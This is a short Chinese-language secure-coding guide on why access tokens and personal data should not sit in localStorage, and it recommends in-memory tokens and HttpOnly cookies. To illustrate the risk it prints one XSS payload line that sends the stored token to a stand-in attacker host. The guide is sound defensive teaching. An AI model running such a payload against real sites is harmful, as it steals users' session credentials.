敏感数据与浏览器存储
localStorage / sessionStorage 对 JavaScript 完全可见;一旦发生 XSS,攻击脚本可 原样读取 其中保存的 Access Token、刷新令牌、PII 等。HttpOnly Cookie 则 无法被 JS 读取,可减轻「Token 被直接 exfiltrate」的风险,但 不能防 CSRF 单轨依赖 与 XSS 代发请求。
错误示例:把访问令牌放 localStorage
js
localStorage.setItem('access_token', token);XSS 载荷可执行:
js
fetch('https://evil.example/steal?c=' + localStorage.getItem('access_token'));相对更安全的模式(需整体架构配合)
- 短期 Access Token 放内存(闭包/内存变量,页面刷新需再取):
js
let accessToken = null;
export function setToken(t) {
accessToken = t;
}
export function authHeader() {
return accessToken ? { Authorization: `Bearer ${accessToken}` } : {};
}Refresh Token 仅
HttpOnly+Secure+SameSiteCookie 由服务端管理;前端不碰长期凭证。避免在 URL 中传 Token(Referer 泄露、历史记录、日志)。
内容安全
勿在存储中保存未脱敏的身份证、银行卡;若必须展示,后端脱敏后展示。
小结
| 存储 | JS 可读 | 典型用途 |
|---|---|---|
localStorage | 是 | 非敏感 UI 状态、可再获取的公开配置 |
sessionStorage | 是 | 单标签会话级非敏感数据 |
HttpOnly Cookie | 否 | 会话/刷新令牌(需配 CSRF 策略) |
无 XSS 时 localStorage 存 Token 似乎方便;一旦出现 XSS,两者区别在「是否直接读走长期凭证」。因此长会话应 HttpOnly + 短 Access + 后端旋转。
